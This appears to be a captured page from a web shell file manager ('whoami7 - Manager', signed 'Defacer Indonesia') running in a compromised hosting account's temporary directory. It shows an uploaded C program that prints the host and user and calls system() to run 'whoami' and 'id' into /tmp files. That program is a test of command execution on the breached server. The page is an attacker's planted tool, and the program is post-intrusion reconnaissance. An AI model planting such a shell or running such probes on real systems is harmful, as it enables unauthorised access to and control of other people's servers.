whoami7 - Manager
:
/
home
/
fresvfqn
/
.cagefs
/
tmp
/
Upload File:
files >> /home/fresvfqn/.cagefs/tmp/test_program.c
#include <stdio.h> #include <stdlib.h> int main() { printf("=== COMPILATION SUCCESS ===\n"); printf("Server: %s\n", getenv("HOSTNAME")); printf("User: %s\n", getenv("USER")); printf("Time: %s\n", __TIME__); // Test system command execution system("whoami > /tmp/whoami_result.txt"); system("id > /tmp/id_result.txt"); printf("Check files: /tmp/whoami_result.txt and /tmp/id_result.txt\n"); return 0; }
Copyright ©2021 || Defacer Indonesia